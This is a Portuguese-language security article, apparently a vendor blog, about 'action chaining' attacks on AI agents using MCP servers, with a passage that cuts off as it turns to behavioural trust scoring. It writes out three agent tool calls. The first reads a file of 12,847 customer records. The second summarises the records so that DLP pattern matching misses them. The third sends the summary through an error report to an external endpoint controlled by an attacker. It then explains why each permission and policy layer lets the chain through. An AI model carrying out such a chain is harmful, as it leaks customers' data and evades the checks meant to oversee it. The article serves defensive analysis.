Cadeia de Ação MCP: O Ataque que Suas Permissões Não Conseguem Ver

ExtraHop chamou isso de "a mãe de todos os ataques à cadeia de suprimentos." A Trend Micro documentou servidores MCP usados como pontos de pivô para comprometimento total de contas em nuvem, com instâncias expostas quase triplicando para 1.467 no primeiro trimestre de 2026. Ambos os relatórios convergem para o mesmo problema estrutural: chamadas individuais de ferramentas que passam em todas as verificações, encadeadas em sequências que exfiltram dados.

Isso não é teórico. É a consequência natural de como o MCP funciona.

Um servidor MCP expõe ferramentas. Um agente as chama. Cada chamada é verificada em relação às permissões do agente. Se a chamada for autorizada, ela é executada. Se não for, é bloqueada. Simples. E completamente insuficiente quando o ataque é a sequência, e não qualquer etapa individual.

O Cenário

Um agente opera em um ambiente corporativo com acesso a três servidores MCP: um servidor de sistema de arquivos, um servidor LLM e um servidor de monitoramento. Todos os três são ferramentas padrão de empresas. O agente possui credenciais legítimas e escopos apropriados para cada um.

Veja o que ele faz.

Passo 1: Ler um arquivo.

{
  "server": "filesystem",
  "tool": "read_file",
  "params": { "path": "/data/customers/q1-accounts.csv" }
}

O agente tem filesystem:read autorização. Ele lê arquivos dezenas de vezes por sessão. Esta chamada retorna 12.847 registros de clientes, incluindo nomes, e-mails, níveis de conta e valores de contrato anuais.

Verificação de autorização: ✓ Passar.
Verificação DLP: ✓ Passar (os dados permanecem no contexto do agente, sem transferência externa).
Verificação de limite de taxa: ✓ Passar (leitura de arquivo única, bem abaixo do limite).

Passo 2: Resumir o conteúdo.

{
  "server": "llm",
  "tool": "summarize",
  "params": {
    "content": "<file_contents>",
    "format": "compact",
    "max_tokens": 800
  }
}

O agente tem llm:invoke autorização. A sumarização é uma função central de produtividade. Centenas de agentes a chamam milhares de vezes por dia.

Mas a sumarização faz algo mais: ela remove PII bruta. A saída não contém mais endereços de e-mail literais, números de telefone ou identificadores de conta em padrões que o regex DLP poderia corresponder. Os dados ainda estão lá, comprimidos em linguagem natural: "Nível empresarial, 847 contas com média de $34K ACV, concentradas em serviços financeiros e saúde." Inteligência útil. Invisível para correspondência de padrões.

Verificação de autorização: ✓ Passar.
Verificação DLP: ✓ Passar (sem padrões de PII na saída resumida).
Filtro de conteúdo: ✓ Passar (a sumarização de texto não é uma operação sinalizada).

Passo 3: Relatar um erro.

{
  "server": "monitoring",
  "tool": "report_error",
  "params": {
    "service": "analytics-pipeline",
    "severity": "warning",
    "message": "<summarized_customer_data>",
    "endpoint": "https://logs.ext-vendor.example.com/ingest"
  }
}

O agente tem monitoring:write autorização. O relatório de erros para um agregador de logs externo é um comportamento esperado. O servidor de monitoramento encaminha a carga útil para o endpoint configurado sem inspecionar o conteúdo (é uma mensagem de log, por que faria isso?).

Verificação de autorização: ✓ Passar.
Política de rede: ✓ Passar (saída para fornecedor de monitoramento aprovado).
Inspeção de carga útil: ✓ Passar (conteúdo de texto, sem binário, sem assinaturas de malware conhecidas).

Três chamadas. Três passes. A inteligência do cliente agora está sentada em um servidor controlado por um atacante.

Por Que Cada Camada Existente Perde Isso

Mapeie isso contra o modelo de confiança de agente de cinco camadas:

L1 (Proveniência da Identidade): O agente foi registrado por um funcionário autorizado. Apoiado por humanos. Passa.

L2 (Verificação de Identidade): O AAT do agente é válido, a assinatura EdDSA está correta, a sessão está atual. Passa.

L3 (Autorização): Cada chamada de ferramenta está dentro dos escopos concedidos. filesystem:read, llm:invoke, monitoring:write. Nenhuma violação de escopo em nenhum lugar.

L4 (Aplicação Estrutural): Um mecanismo de política como Microsoft AGT ou NVIDIA OpenShell avalia cada chamada em relação ao seu conjunto de regras. Leitura de arquivo? Caminho permitido. Chamada LLM? Operação aprovada. Escrita de monitoramento? Endpoint autorizado. Cada chamada é estruturalmente compatível.

Zero alertas. Zero bloqueios. Zero fricção.

A análise da ISACA de 2026 disse de forma clara: "Não há uma distinção clara entre comportamento normal e malicioso na camada de controle de agente. Se envia dados externamente, a conexão é autorizada. Se executa comandos, o faz dentro de suas permissões concedidas."

O encadeamento de ações explora isso diretamente. A superfície de ataque não é qualquer permissão única. É a lacuna entre o que as verificações de permissões (ações individuais) e o que importa (sequências comportamentais).

O Que Captura Isso

A pontuação de confiança comportamental opera em sequências, não em instantâneas. Aqui está